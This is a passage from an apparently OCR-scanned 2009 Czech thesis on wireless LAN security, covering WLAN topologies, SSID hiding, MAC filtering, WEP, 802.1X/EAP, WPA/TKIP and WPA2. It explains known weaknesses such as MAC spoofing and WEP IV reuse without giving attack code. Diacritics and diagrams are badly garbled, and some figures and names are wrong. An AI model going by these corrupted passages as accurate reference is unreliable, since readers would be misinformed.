stanicemi. Pro vytvoreni sité doma ¢i v mensi kanceldfi se hodi BSS, pro rozsahlejsi prostory
se nehodi. Propojenim BSS vznikne rozsifeny soubor sluzeb (ESS, Extended Service Set),
ktery slouzi k pokryti vétSich uzemi.

V pfipadé propojeni dvou ¢i vice BSS distribuc¢nim systémem vznikne ESS. Standard 802.11
presné nespecifikuje, jakou technologii ma distribu¢ni systém pouzivat, pouze fika, jaké
sluzby musi poskytovat (nejcastéji vSak byva klasicky, prepinanym ethernet nebo také WDS
(Wireless Distribution System). Na obrazku 1.3 vidime, jak mUzZe ESS vypadat.
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1.2.3 Topologie MESH

Jedna se opét o nezavisly typ sité (podle standardu 802.11s), kde jsou si stanice rovny (Peer-
to-Peer). VSechny stanice jsou si navzdjem nahraditelné a zastupitelné. Stanice jsou klienty a
pristupovymi body pro ostatni stanice v okoli. Mezi vyhody patfi zastupitelnost, uspora Sirky
pasma, zvyseni dosahu sité a také nizké naklady na vybudovani a udrzbu sité. Nevyhodou je

Obr. 1.3: BSS/ESS

pouZziti stanice pro komunikaci ostatnich stanic. Princip je naznacen na obrazku 1.4.

[E i)

Obr. 1.4: Topologie MESH

2009

18



Zabezpeceni bezdrdtovych siti, 2009

1.3 Linkova vrstva a MAC podvrstva

Systémy 802.11 pracuji na principu casového duplexu (TDD, Time Division Duplex).
Komunikace probihd na stejném kmitoctu pro vSechny stanice polo-duplexné a to v obou
smérech (od uZivatele i smérem k nému). Ztohoto divodu se jednotlivé relace odehravaji
postupné v case. Je tedy nutné fesit pristup k prenosovému médiu. VSechny typy WLAN
pouzivaji stejny protokol pristupu k médiu (MAC, Media Access Control). WLAN MAC je
zodpovédny za prenos dat, pfidruzeni stanice k WLAN, autentizaci, utajeni dat a
management napajeni. [3]

Standard 802.11 nabizi dvé funkce pro Ffizeni pfistupu k médiu:
e Funkce distribuované koordinace DCF (Distributed Coordination Function)
e Funkce koordinace jednim bodem PCF (Point Coordination Function)

DCF je navriena pro datové prenosy vramci 802.11 a je zalozena na metodé pfistupu
CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance). Tato metoda je v sitich
WiFi Siroce pouZivana.

PCF je vhodnd pro aplikace blizké redlnému casu (pfenos audia, videa), pficemz neni
rozliSovan typ prendsenych dat. V pfipadé poutziti PCF pfifazuje stanice (vystupujici v roli
bodu — koordindatora, zpravidla jde o AP) prioritu kazdé stanici pro uréeny pfenosovy ramec.

[2]

2 ZABEZPECENi WLAN

V bezdratovych sitich se vysila vSesmérové a proto je mozné toto vysilani zachytit a poté
zneuzit. JelikoZ uZivatelé méli zajem o soukromi, soucasné s vytvarenim novych standard(
dochazelo ke zvySovani bezpecnosti pti prenosu dat. V soucasné dobé je moZno chranit
prenasend data nékolika zplisoby. Nékteré z nich jsou v této dobé povaZzovany za bezpecné,
avsak skutecnost mulze byt jind. NiZe jsou popsany v soucasnosti nejpouzivanéjsi metody
zabezpeceni WLAN.

2.1 Skryti vysilani SSID

SSID (Service Set Identifier) predstavuje oznaceni sité. Stanice se mlzZe pfipojit pouze
k bezdratové siti, jestlize zna jeji SSID. Klasicky pristupovy bod kazdych nékolik sekund vysila
identifikator SSID v tzv. ,beacon” rdmcich tak, aby o ném stanice védély. Jednim ze zplsobl
zabezpecdeni je pravé skryti SSID. Identifikator se v ,,beacon” ramcich nevysil3, resp. vysila se
jako prazdny retézec. V pripadé, Ze stanice neziskaji identifikator SSID, nemohou se asociovat
do dané sité. Jedna se tedy o nejjednodussi zplisob zabezpeceni sité.

Vedle SSID se také pouziva ESSID (Extended Service Set Identification), ktery slouzZi jako jedna
ze zakladnich technik pro fizeni pristupu klientd do WLAN. ESSID je hodnota
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naprogramovand do AP pro identifikaci sité (subnet), v niz se AP nachazi. ESSID se nevysil3,
takze pridruzeni do WLAN je povoleno pouze autorizovanym stanicim, které hodnotu
identifikatoru znaji. Sit pouzivajici ESSID se opravnéné oznacuje jako uzaviena. [3]

2.2 Filtrovani MAC adres

Kazdd bezdratova karta ma vyrobcem stanovenou MAC (Media Access Control) adresu,
oznacovanou také jako hardwarova adresa. Tato adresa je unikatni pro kazdou sitovou kartu
a ma délku 48 biti. Zpravidla se zapisuje pomoci 12 hexadecimalnich Cisel (Sest dvojic
hexadecimalnich Cisel) ve tvaru xx:xx:XX:XX:XX:XX.

Hlavni myslenka spociva v tom, Ze se v pfistupovém bodu uchovava seznam autorizovanych
MAC adres. Pouze stanice s MAC adresou uvedenou vtomto seznamu mohou byt
asociované k dané siti. V pfipadé, Ze se k siti snazi pfipojit stanice s kartou, jejiz hardwarova
adresa neni uvedena v seznamu, pfistupovy bod stanici zasle zamitaci odpovéd.

Nevyhodou je, ze nékteré karty umoznuji ménit svoji hardwarovou adresu. Protoze se
zdrojova a cilova MAC adresa vysilaji nesifrované (a to i v pfipadé pouZziti WEP), m(ize utoc¢nik
jednoduse odposlechnout hodnoty povolenych MAC adres a pak svou bezdratovou kartu
nastavit tak, aby pouzZivala takovouto platnou adresu. KdyZz se karta tvari jako karta
s povolenou MAC adresou, bude AP presvédceno, Ze jde o legitimni provoz. [1]

Tento plisob zabezpeceni je vhodny spiSe do domaciho prostfedi nebo do malé kancelare,
kde je nizky a prevainé konstantni pocet klientd. Proto je implementace metody filtrace
MAC pomeérné snadna. Pfedstava zavedeni metody filtrovani MAC adres ve velké spole¢nosti
je nepredstavitelné. V prvé radé by se jednalo o obrovské mnozstvi dat, které je nutno nékde
uskladnit a evidovat. Dalsi divod je velka migrace stanic. Ve velkych spole¢nostech dochazi k
pofizovani novych a vyfazovani starych stanic a aktualizovat tento seznam na vsech
pristupovych bodech je zbytecna a namahava prace.

2.3 WEP (Wired Equivalent Privacy)

JelikoZ zabezpeceni plvodniho standardu 802.11 z roku 1997 bylo nedostacujici, byl roku
1999 spole¢né s novymi standardy vytvoren volitelny doplnék zabezpeceni nazvany WEP.
WEP je oznaceni pro Wired Equivalent Privacy (dosl. soukromi ekvivalentni dratiim). Cilem
bylo vytvorit zabezpeceni jaké je dostupné v tradicnich LAN, ale ve vysledku tato ocekavani
nesplnil, protoZze veskera komunikace v bezdratovych sitich probihd vzduchem, je mozné ji
kdykoliv zachytit a zneuzit.

WEP pouziva pro utajeni informace proudovou Sifrovaci metodu RC4. Pro ovéreni spravnosti
je pouzita metoda kontrolniho sou¢tu CRC-32.

WEP-40 byl definovan jako prostfedek ochrany (pomoci 40 bitového klice) dlivérnych udaji
vyménovanych mezi opravnénymi uzivateli WLAN od pfileZitostnych odposlech(. Pouzivani
WEP je nepovinné. Kromé pouziti 40 bitového klice byly pouzivany stejné algoritmy s
vyuzitim 104 bitového klice pro praktickou implementaci. Proto se oznaCuje WEP-104.

20



Zabezpeceni bezdrdtovych siti, 2009

Kryptografické mechaniky WEP zapouzdfeni a rozpouzdreni jsou stejné. Rozdil je pouze, zda
je poutzit 40 bitovy nebo 104 bitovy kli¢. Proto se WEP muZe vztahovat bud na WEP-40 nebo
WEP-104. Oznacenim WEP-64 nebo WEP-128 jak se tomu v komercnim svété déje, znaci

pouziti 40 bitového nebo 104 bitového kli¢e rozsiteného o 24 bitovy inicializa¢ni vektor IV.

2.3.1 Autentizace
Soucdsti bezpecnostni strategie je fizeni pristupu do sité, tedy autentizace uzivatele. [2] WEP
pouziva pro Sifrovani a deSifrovani stejny algoritmus a stejny kli¢, tento postup se nazyva
symetricky. 802.11 specifikuje dvé metody autentizace:

e Oteviena (Open system)

e Sdilenym klicem (Shared Key)
Autentizace v 802.11 probiha jen jednim smérem a to od stanice ksiti. Stanice musi o
autentizaci do sité nejprve pozadat.

Oteviena autentizace — pii této metodé prijme pristupovy bod klientskou stanici pouze na
zakladé udaju, které mu poskytne. Klient posle svoji identifikaci v podobé SSID. Pokud
pristupovy bod své SSID vysild, mliZze kazdd stanice, kterd neni konfigurovana na svoje SSID,
toto SSID prijmout pro pfristup do sité. Proto se doporucuje vypnout vysilani SSID v pfipadé,
Ze chceme zamezit pristuplm na pfistupovy bod uZivateli, ktefi jeho SSID neznaji.[2]

Autentizace sdilenym klicem — pouziva 40bitovy uZivatelsky kli¢. Ten je spole€ny pro vSechny
stanice v siti (sdileny kli¢, Shared secret), ztohoto ndzev metody. V pfipadé pouziti této
autentizace je nutné v siti pouziti WEP.

Autentizace sdilenym klicem probiha nasledovné. Nejprve stanice zasle rdmec 802.11. Ten
obsahuje jeho identifika¢ni Udaje a Zadost o autentizaci. Pfistupovy bod odpovi zaslanim
challenge(,,vyzvou”), nahodnym ¢islem. Stanice zaSifruje pfijatou vyzvu WEP a klice
odvozeného ze sdileného autentizacniho tajného klice a odeSle zpét na pfristupovy bod.
Pristupovy bod desifruje pfijatou odpovéd a vysledek porovna s plivodné vyslanou vyzvou.
V pfipadé shody informuje stanici o Uspésné autentizaci. VSe je patrné z obrazku 2.1.
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Bezdratova
stanice

Zzadost o autentizaci

generovani ndhodného cisla

vyzva vyzyvajici stanici

i

zasifrovani vyzvy pomoci WEP odpovéd

desifrovani odpovédi a porovnani

/

potvrzeni Uspésnosti s pavodni vyzvou

\

Obr. 2.1: Princip autentizace sdilenym klicem

2.3.2 Format WEP ramce
Obrazek 2.2 zobrazuje Sifrovany ramec téla, ktery byl vytvoreny WEP algoritmem.

Sifrovano RC4

&
<«

»
»

v DATA Icv
48 >=18B 48
\ T
\ \\\\
\ ~
\ o~
_ 1B
Init. Vector —p-+ Key 1D
3B Ghits | 2bits

Obr: 2.2: Format WEP MPDU [5]

Ramec WEP zacina 32 bitovym polem IV obsahujici tfi podpole: 24 bitovy inicializa¢ni vektor
IV, 6 bitovou vypli Pad a 2 bitovy Key ID. Nasleduji Data, ktera museji mit minimalné 8 bitl a
po nich cyklicky redundantni soucet CRC — 32 plvodni zpravy. Podpole Pad bude obsahovat
nuly. Key ID specifikuje identifikator na jeden ze ¢tyf moznych tajnych klici WEP, ktery bude
pouzit pro desifrovani. Podpole Key ID zabira 2 MSB (Most Significant Bit) posledniho Bytu
pole IV a podpole Pad potom tedy obsahuje 6 LSB (Least Significant Bit).
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2.3.3 Proudovd Sifra RC4

WEP pouziva symetrickou proudovou Sifru RC4 spolecnosti RSA Data Security Inc., kterou
navrhnul v roce 1987 kryptolog Ronald Rivest (Ron’s Code No. 4), ktera se hojné pouziva na
internetu.

RC4 pracuje jako generdtor pseudonahodnych &isel' (PRNG, PseudoRandom Number
Generator). Vstupnimi veli¢inami jsou inicializa¢ni vektor IV a tajny kli¢. Hodnota IV se
periodicky méni, zatimco tajny kli¢ zUGstava stejny. Vysledkem je posloupnost jednicek a nul
stejné délky jako prenasenad zprava zietézena s CRC.

Proudova Sifra umoznuje z klice pevné délky vytvorit Sifrovaci proud (Key stream) tak, aby
bylo mozZné Sifrovat otevieny text libovolné délky (kazdému bitu textu odpovida jeden bit
Sifry). RC4 dovoluje kli¢ o délce do 256 bit(.[3]

V pripadé WEP je bohuzel RC4 pouzita nevhodné diky opakujicim se inicializacnim vektor(im
IV. Pokud je Sifra RC4 pouZita spravng, je bezpecna.

2.3.4 Inicializacni vektor IV

Inicializacni vektor IV je 24 bitova hodnota pridavana pred tajny kli¢, kde tato kombinace
slouZi kinicializaci generatoru RC4. IV zajistuje, aby inicializacni hodnota generatoru byla
pokazdé jind. ProtoZe k odeslani kazdého paketu je potrfeba generdtor inicializovat jinou
hodnotou, dojde pfi vysSich prenosovych rychlostech k pomérné rychlému vycerpani vsech
moznosti, tedy 2** co? je 16777215 moZnosti. V p¥ipadé pouZiti viech moznych kombinaci
jsme nuceni znovu pouzit jiz pouzitou hodnotu IV a tim porucujeme nejhlavné;jsi pravidlo
RC4, zakazujici pouzit kli¢ opakované. Navic neni feceno, jakym zplsobem ma byt
inicializa¢ni vektor generovan.

2.3.5 Sifrovani

Proces Sifrovani zac¢ind vidy nesifrovanym textem, ktery chceme chranit. [1] Prvnim krokem
je vypocet 32 bitového cyklického redundantniho souctu (CRC) z neSifrovaného textu
nazyvany ICV(Integrity Check Value). Tento soucet je pfipojen k pfenasené zpravé. Nasledné
pouZzijeme tajny kli¢, ktery pfipojime za inicializacni vektor IV (Inicialization Vector). Tento
vznikly prvek pfeddme generatoru pseudondhodnych ¢isel RC4 (PRNG). Tim ziskame Sifrovaci
klic, ktery ma stejnou délku jako pfendsena zprava rozsifena o CRC. Nyni mezi prenasenou
zprdvou zretézenou s CSC a Sifrovacim klicem provedeme logicky vyhradni soucet (XOR),
¢imz ziskame Sifrovany text. Pfed Sifrovany text pfipojime inicializacni vektor IV. Vznikly
prvek je nasledné vysilan. Hodnota inicializacniho vektoru se prenasi nesifrované, protoze se
pouziva pro zpétné desifrovani. Nazorna ukdzka je na obrazku 2.3.

! Sifra RC4 pouziva dva algoritmy: KSA (Key Sheduling Algorithm) a PRGA (PseudoRandom Generator
Algorithm).
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Obr: 2.3: Sifrovani protokolem WEP

2.3.6 Desifrovani

Po prijeti zpravy dojde ke slouceni inicializaéniho vektoru IV se sdilenym WEP klicem, ¢imz
vznikne posloupnost délky 64 nebo 128 bitd. Tu posloupnost predame generatoru
pseudondhodnych cisel RC4 (PRNG). Ten generuje desifrovaci kli¢ o stejné délce, jako jsou
prijatd zaSifrovana data. Nyni mezi ptijatymi zaSifrovanymi daty a deSifrovacim klicem
provedeme logicky vyhradni soucet (XOR), ¢imz ziskdme Sifrovany text a ovéfi se ICV. Jestlize
ICV souhlasi, uspésné jsme pfijali a deSifrovali prijata data. V opacném pripadé je rdmec
zahozen. Princip je vyobrazen na obrazku 2.4.

»
nesifrovany "1 nesifrovany ICV
text » text
Ll
IcV |y XOR > sifrovany text p IV Sifrovany text
CRC
A
inicializaéni WEP »| RC4 N Sifrovaci kli¢
Ll L
vektor kli¢ PRGN (Key Stream)

inicializa¢ni WEP o RC4 | desifrovacikli¢c [ desifrovany
L Lad
vektor Klic PRGN (Key Stream) > text
A
—»|  XOR P Integrity algholitm
’ ICV*
ICV ICV=ICV'?
IV Sifrovany text >

Obr. 2.4: Desifrovani protokolem WEP

2.3.7 Zabezpeceni integrity dat ICV

Provedenim cyklického redundantniho souctu pres datovou ¢ast ramce vznikne ICV (Integrity
Check Value), ktery se pfipojuje na konec ramce (viz. Obrdazek 2.2). ICV se zaSifruje spolec¢né
s daty. Po prijeti a deSifrovani je hodnota ICV porovnana s uvedenym ICV v rdmci a pokud si
nejsou rovny, ramec je zahozen.

2.3.8 WEPPplus

Jedna se o vylepseni plvodniho WEP, které se snaZi odstranit tzv. slabé inicializa¢ni vektory.
WEP + zamérné nepouzita nékteré inicializacni vektory vytvarejici slabé klice, které je mozno
snadno odchytit a rozbit. Pokud ma byt pouzito WEP plus, je nutné mit ho implementovano

24




Zabezpeceni bezdrdtovych siti, 2009

na vSech komunikujicich stranach. V opacném pripadé funguje jako plvodni WEP. Nékdy
byva také oznacovano jako WEP+.

2.4 |EEE 802.1X / EAP

802.1X (Port Based Network Access Control) je protokol umoznujici autentizaci na portech
[1]. PGvodné byl navrhnut pro pouZiti na metalickych sitich, avsak je mozné jej pouzit i pro
vyznamné zlep$eni bezpeénosti v bezdratovych sitich 802.11. Ukolem 802.1X je autentizace
uzivatelQ, integrita dat (Sifrovani) a distribuce klicG. Autentizace se pro bezdratové sité
realizuje na urovni logickych portl pfistupového bodu. Cilem protokolu 802. 1X je blokovat
pristup k segmentu lokalni sité pro neopravnéné uzivatele. 802.1X nepovoli provoz na
daném portu, dokud neni uZivatel ovéren na zakladé Gdajl ulozenych na back-end serveru,
kterym je typicky RADIUS (Remote Authentication Dial-In User Server).

Pti autentizaci nedochazi k ovérovani bezdratové stanice, ale pfimo autentizaci samotného
uzivatele. Navic autentizace je vzajemna, tedy jak uZivatele, tak pfistupového bodu. Tim je
zamezeno Utokdm vedenych prostrednictvim faleSnych, neautorizovanych pristupovych
bodd.

802.1X umoznuje dynamické generovani kli¢l, které je vaci uzivatellm transparentni a
nahrazuje jinak ¢asové ndro¢nou a potenciondlné nebezpecnou distribuci Sifrovacich klica.
Tyto klice jsou zndmy pouze dané stanici, maji omezenou Zivotnost a pouZzivaji se pro
Sifrovani ramcd na daném portu, dokud se stanice neodhlasi nebo neodpoiji. [3]

802.1X je zaloZzeny na EAP (Extensible Authentication Protocol, RFC 3748), ktery byl plivodné
vyvinuty pro spojovy protokol PPP LCP (Point-To-Point Link Control Protocol) jako rozsiteni
systému RADIUS (RFC 2865 a 2866)[3]. Jedna se o mechanismus prenosu EAP paket(
prostfednictvim spojové vrstvy LAN (typu 802): zpravy EAP se zapouzdfuji do rdmc( 802.1X.
Proto se 802.1X oznacuje jako EAPOL (Extensible Authentication Protocol Over LANSs).[2]

2.4.1 EAP - Extensible Authentication Protocol
Diky EAP nabizi 802.1X podporu vice autentiza¢nim mechanizmOm. V procesu autentizace
maji hlavni roli tfi komponenty:”

e Zadatel (suplikant) — klient nebo uZivatel, ktery se chce pfipojit k siti.

e Autentizator — typicky pristupovy bod povolujici nebo blokujici provoz.

e Autentizacni server — systém poskytujici sluzbu AAA (Authentication, Autorization,

and Accounting), typicky RADIUS.

Autentizacni server je pouZit v pfipadé, Ze autentizator neni schopen sam ovéfit Zadatele.
Vsechny tfi komponenty musi podporovat EAP zvoleny 802.1X, tak i samotné 802.1X. To plati
pro starsi zafizeni. V soucasné dobé zafizeni podporujici WPA z definice podporuji i 802.1X.

Autentizator zajistuje fizeni pristupu podle 802.1X. Do provedeni autentizace neni povolen
na rozhrani Zadny provoz. Vyjimkou jsou zpravy protokolu 802.1X. Po Uspésné autentizaci je
povolen pristup do sité. Toho se dosahne diky zavedenému modelu tzv. dualniho portu (viz
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obrazek 2.5). Jednd se o virtudlni porty. Nefizeny port (ucontrolled) filtruje veskery provoz

kromé& ramcG EAP. Rizeny port (controlled) slouzi pro veskerou komunikaci
autentizovaného/autorizovanému klienta. Z pocatku je provoz blokovan (tzv. neautorizovany

stav), po autentizaci se pfepne a umozni sitovy provoz (tzv. autorizovany stav).
Rizeny port

Data autentizovaného 4

klienta (Zadny provoz

v pribéhu autentizace)

Stanice

Nefizeny port Distribuéni

Provoz v ramci systém

autentizace
Obr. 2.5: Rizeny a nefizeny port

Ovérovani provadi pristupovy bod pro klienty na zakladé jejich vyzvy, pomoci lokalniho
pristupového seznamu nebo externiho autentizacniho serveru, kterym muize byt napf.
Kerberos, nebo castéji RADIUS. Komunikace probihda ve dvou castech: mezi klientem a
pfistupovym bodem a dale pfistupovym bodem a autentizacnim serverem.

Postup autentizace podle 802.1X je zobrazen na obrazku 2.6 a nasledné popsan.

Zadatel autentizator

bezdratovy pFistupovy server
klient bod EAP over RADIUS
_____________ Pevna sit
spoilt » Pristup zakazan
P EAP REQUEST-ID
EAP RESPONCE-ID RADIUS ACCESS REQUEST

» »
» »

(RADIUS)

EAP AUTHENTICATION REQUEST

<
<

EAP AUTHENTICATION RESPONCE

»
>

EAP Success

A

Zasifrovany kli¢ (volitelny)

A

802.1x autentizace
a managament klica

RADIUS ACCESS CHALLENGE

<
<«

RADIUS ACCESS REQUEST

»
»

RADIUS ACCESS ACCEPT

A

RADIUS

Pfistup povolen

Obr. 2.6: Autentizace podle 802.1X

autentizacni
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1. Klient nejprve odesle pocatecni zpravu na pristupovy server (nazyvany Network
Access Server, tj. prepina¢ nebo bezdratovy pristupovy bod). Ten na pritomnost
stanice odpovi dotazem na identitu zprdvou EAP REQUEST-ID;

2. klient odpovi zpravou EAP RESPONSE-ID obsahujici identifika¢ni udaje uZivatele.
Pfijatou zpravu EAP RESPONSE-ID pfistupovy bod zapouzdfi do paketu RADIUS
ACCESS_REQUEST a vysle ji autorizaénimu serveru RADIUS. O vyménu zprav mezi
klientem a serverem RADIUS se stara pfistupovy bod. Zpravy mezi klientem a
pristupovym bodem jsou zapouzdifovany jako EAPOL a mezi pfistupovym bodem a
autentizacnim serverem jako pakety RADIUS;

3. odpovédi serveru RADIUS je zprdva obsahujici povoleni/zamitnuti pfistupu daného
klienta do sité. Zprava RADIUS ACCESS_ACCEPT/DENY obsahuje informaci EAP
SUCCESS/FAILURE. Tuto zpravu preposle pristupovy bod klientovi.

4. jestlize je pristup povolen (SUCCESS) je dany logicky port ptistupu do sité otevien pro
data daného uzivatele.

Po Uspésné autentizaci nasleduje faze spravy klica, kdy pristupovy bod distribuuje Sifrovaci
klice autentizovanym stanicim, a to prostfednictvim EAPOL-Key.[3]

V rdmci procesu autentizace jsou generovany dva soubory klict s délkou 128 bitl. Jedna se o
parové klice (pairwise), které jsou jedinecné pro spojeni mezi klientem a pristupovym bodem
a dale jsou to klice skupinové (groupwise), které jsou sdileny vSemi stanicemi v rdmci jedné
BSS. Pouzivaji se pro Sifrovani multicastové komunikace.

2.4.2 Autentizacni metody EAP
Jak bylo feceno dfive EAP umoznuje 802.1X provozovat rlizné autentizacni mechanizmy.
Mezi nejrozsifenéjsi patfi nasledujici:

vy

implementaci. Autentizace probiha prostrednictvim autentizacniho serveru na zékladé hesla.
Nevyhodou je, Ze hesla jsou na serveru uloZena v Citelné podobé. Navic tato metoda
neumoziuje vzajemnou autentizaci. Na rozdil od ostatnich metod EAP nepodporuje
dynamické generovani WEP/TKIP klic¢a.

LEAP (Lightweight EAP neboli Cisco-Wireless EAP) — jedna se o nestandardni, firemni
protokol navrzeny spolecnosti Cisco Systems. Autentizace probiha na zadkladé uzivatelského
jména a hesla prostfednictvim autentizacniho serveru. Je pouzitelny pouze pro zafizeni
spolecnosti Cisco. Pro kazdého uzivatele a pro kazdou relaci se generuji dynamické WEP
klice.

TLS (Transport Layer Security) — jedna se o nejsilngjsi feSeni v ramci bezpecnosti. Podporuje
vzajemnou autentizaci mezi klientem a autorizatnim serverem za pomoci certifikatd
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podepsanych certifikacni autoritou i dynamickou obnovu WEP Kkli¢li. Protokol vytvori
Sifrovany tunel prostfednictvim PKI (Public key Infrastructure), jimz probiha vymeéna
autentizacnich udajd mezi klientem a autentizacnim serverem. Ke generovani klicd dochazi
vramci této komunikace. Certifikdty musi byt instalovany jak na strané klient(, tak i na
strané serveru. Tato metoda velmi dobre fesi problematiku bezpecnosti. Vybudovat vsak
Uplnou infrastrukturu podporujici TLS je velmi obtizné.

TTLS (Tunneled Transport Layer Protocol) — predstavuje zjednodusSeni TLS. Podporuje
zjednodusSenou vzajemnou autentizaci oproti TLS, protozZe digitalni certifikat vyuzivd pouze
autentizacni server pro svoji autentizaci vUici klientovi. Klient pro svoji autentizaci pouziva
namisto certifikatu heslo. TTLS podporuje dynamickou obnovu WEP kli¢d. TTLS poskytuje
témér stejné zabezpeceni jako TLS, jeho implementace je mnohem jednodussi.

PEAP (Protected EAP) je velmi podobny s protokolem TTLS. Také podporuje vzdjemnou
autentizaci a dynamickou obnovu WEP kli¢l a vyZzaduje certifikdt pouze na strané serveru.
Autentizace klient(i opét probiha zabezpecenym tunelem. Prostfednictvim certifikdtu dojde
k autentizaci serveru a nasledné se muzZe pouZit jinda metoda EAP k autentizaci klienta.[1]

Velmi a¢innou metodou k zabezpeceni standardu 802.11 je prdvé 802.1X. Rozdil proti
pavodnimu zabezpeceni, 802.1X generuje dynamické kli¢e pro viechny klienty na rozdil od
statickych klicd u WEP. Navic podporuje sluzbu AAA, cozZ dfive nebylo moZzné. 802.1X pouzivd
protokol EAP umozZiujici rGzné autentizacni metody. Stupen zabezpeceni a obtiznost
implementace se liSi od typu pouZité metody.

2.5 WPA

Jelikoz zabezpeceni WEP bylo vroce 2001 uZz nedostacujici zacalo se pracovat na jeho
vylepseni. Vysledek byl plvodné znam pod oznacenim WEP2, ale pozdéji byl zménén na
WPA (Wi-Fi Protected Access). WPA je podmnoZinou standardu 802.11i. Jednalo se pouze o
docasné reSeni, jelikoz standard 802.11i nebyl zcela dokoncen. Pouziva nékteré jeho
specifikace jako 802.1X a TKIP (Temporary Key Intergrity Protocol). WPA pouZiva stejny
Sifrovaci mechanizmus jako WEP tedy RC4. Proto je mozné jej vyuzivat i na starSim hardware
pouze aktualizaci softwaru/firmwaru. Jedna se o mezistupen ochrany bezdratovych siti. Je
zpétné slucitelny s WEP a dopredné s 802.11i/WPA2.

Matematicky Ize popsat WPA nasledovné:

WPA = {802.1X + EAP + TKIP + MIC + (RADIUS * X)}
If WPA-PSK, X =0; ELSEX =1
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K autentizaci je pouZit 802.1X a EAP rozsifujici Sifrovani WEP o autorizaci na portech
pristupového bodu a dynamickou distribuci klica.

2.5.1 Integrita dat MIC

Ke kontrole integrity zprav se ve WPA namisto jednoduché 32 bitové hodnoty CRC pouziva
kéd MIC (Message Integrity Code)?. Vstupnimi prvky pro MIC jsou MAC adresa cile, MAC
adresa adresata, nesifrovana data a MIC kli¢. Vysledny algoritmus ma délku 8 bajt(i a prida se
ke kazdému ramci. Princip je ukazan na obrdzku 2.7. MIC ma dvojnasobnou délku na rozdil
od ICV a pouziva jednocestnou hashovani funkci navrhnutou Neilsenem Fergusonem. Tim, Ze
pro vypocet uvazuje MAC adresu zdroje a cile je mozné ovérit integritu MAC adres.

[ e}
| MAC adresa odesilatele | —»
| MAC adresa p¥ijemce |—>
| Nesifrovanidata | —»

Obr. 2.7: Vypocet MIC

Nesifrovana
data

MIC

—rm>TITO0O0—Z

2.5.2 Temporal Key Intergrity Protocol (TKIP)

Jedna se o mechanizmus slouzici k Sifrovani dat u WPA. Pouziva dvojici kli¢li, z nichZz prvni
slouZi pro Sifrovani a ma délku 128 bitll a druhy, pro zajisténi integrity dat, ktery ma délku 64
bitd. Druhy kli¢ ziskd protokol béhem komunikace prostiednictvim 802.1X. TKIP vyuziva
stejné jako WEP proudovou Sifru RC4, avsSak odstrafiuje nevhodnou implementaci pouziti
RC4 ve WEPuU.

TKIP prodluzuje délku zpravy zaSifrované pomoci WEP o 12 bajtli: 4 bajty pro rozsitenou
informaci IV a 8 bajtl pro kod integrity zpravy (MIC). IV ma oviem v tomto pfipadé dva
ukoly, proto se hodnota IV ve skutecnosti déli na dvé ¢asti: 16 bitova hodnota se doplni do
24 bith pro tradi¢ni IV a 32 bitova ¢ast slouzi jako poradové Cislo paketu a pouziva se pro
mixovani pro jednotlivé pakety (PPK, PerPacket Keying). [3] Pti implementaci IV se u TKIP
pouziva tzv. sekvencni ¢itac TSC (TKIP Sequence Counter). Ten zvySuje hodnotu IV postupné
a vSechny pakety s hodnotou IV mimo poradi jsou zniceny.

Sifrovéani vychazi z do¢asného kli¢e relace TK (Temporaly Key), MAC adresy odesilatele a 32
bith IV(viz. obrazek 3.8). Nejprve se provede mixovani mezi témito prvky, ¢imz vznikne kli¢
oznacovany Faze 1 (nékdy téz ,mezilehly kli¢“). Klic Faze 1 se mixuje s 16 bitovou ¢asti IV a
docasnym klicem relace TK. Timto vznikne kli¢ Faze 2. Tento klic je uréen pro prenos

2 Vyuziva algoritmus Michael.
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jediného paketu. Vtomto kroku se pouZije jiz znamy mechanismus WEP. 128 bitovy kli¢
vznikne spojenim 24 bit( IV a klice z Faze 2. Zbytek procesu probiha stejné jako Sifrovani
protokolem WEP.

TK (128-bit) [ 128 bitovy
! , WEPowy klit*
MAC odesflatele |-> : —>| Faze 2 }—» (IV 24 bitd, kli¢
: I 104 bitd)
TSC (32-bit) [P TSC (16-bit)
v
WEP P zadifrovana data
A / \\
// \
nesifrovana data | MIC li / \\
/ \
/ \
/ \
/ \
MAVC IV/KeyID |Extended IV Data MIC IcV FCS
hlavicka
4B 4B >=18B 8B 4B 4B

Obr. 2.8: Sifrovani mechanismem TKIP

TKIP tedy resi nasledujici problémy WEP:
e Naruseni integrity dat zabranuje pfidanim kontrolnich bit( MIC.
e Preklicovani neboli rychld rotace klich, zabranujici opétovného vyuZiti klice.
e Zabranuje utokdm opakovanim svazanim poradového cisla s MIC.

2.5.3 Predsdilené klice PSK

WPA a TKIP pouZziva pro distribuci klich infrastrukturu zaloZzenou na protokolu 802.1X. Ta
predpokldda vyuziti centrdlniho autentizacniho serveru (napt. RADIUS). Tento zplsob je
idedlni pouzit spiSe v podnikovych sitich, pro domadci sité se pfilis nehodi a ne mnoho
domacich uZivatell md kdispozici tuto infrastrukturu. Pro domdci poutziti poskytujici
Sifrovaci funkci TKIP WPA se zavadi Pre-Shared Key (PSK) v tzv. ,,personal médu®.

V tomto rezimu provadi autentizaci samotny pristupovy bod na zdkladé tzv. master key
(heslo o délce 8 az 63 znak(), které je zndmo vSem uZivatelim. Tento kli¢ pouZiva TKIP pouze
jako vychozi hodnotu pro vypocet potfebnych Sifrovacich kli¢h. Primary Master Key se
vypocitd z SSID sité a z ,,passphrase” pomoci funkce PBKDF 2 definovanou v [5]. To zaruci, Ze
pro Sifrovani se nikdy nepouzije stejny kli¢. Vysledkem je pouziti WPA a Sifrovani TKIP
v domdcich sitich bez nutnosti pouzit infrastrukturu 802.1X s autentiza¢nim serverem.
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2.6 802.11i /WPA2

K ratifikaci tohoto ndvrhu normy doslo 24. ¢ervna 2004 a nahrazuje predchozi bezpecnostni
specifikaci WEP, u které byly prokazany zdvainé bezpecnostni nedostatky [7]. JelikoZ je WPA
podmnoZinou 802.11i doslo k doplnéni novych prvk( kjiz stdvajicim. Proto je propojeni
celého 802.11i s dfive vytvofenymi prvky oznacovano jako WPA2 nebo RSN (Robust Security
Network). Novym stavebnim prvkem je protokol CCMP (Counter-mode CBC (Cipher Block
Chaining) MAC (Message Authentication Code) Protocol) a Sifrovaci algoritmus AES
(Advanced Encryption Standard). Protokol CCMP je povinny, zatimco TKIP pro zpétnou
kompatibilitu je jiz jen volitelny. Autentizace, podobné jako u WPA, poskytuje dvoji rezim,
PSK nebo 802.1X a probiha oboustranné.

2.6.1 Hierarchie klict a jejich distribuce

Jak bylo feceno dfive, po Uspésné autentizaci dochazi k distribuci dvou sad 128 bitovych
klich. Ve WPA2 ma kazdy klic omezenou Zivotnost. Na zakladé autentizacni metody dojde
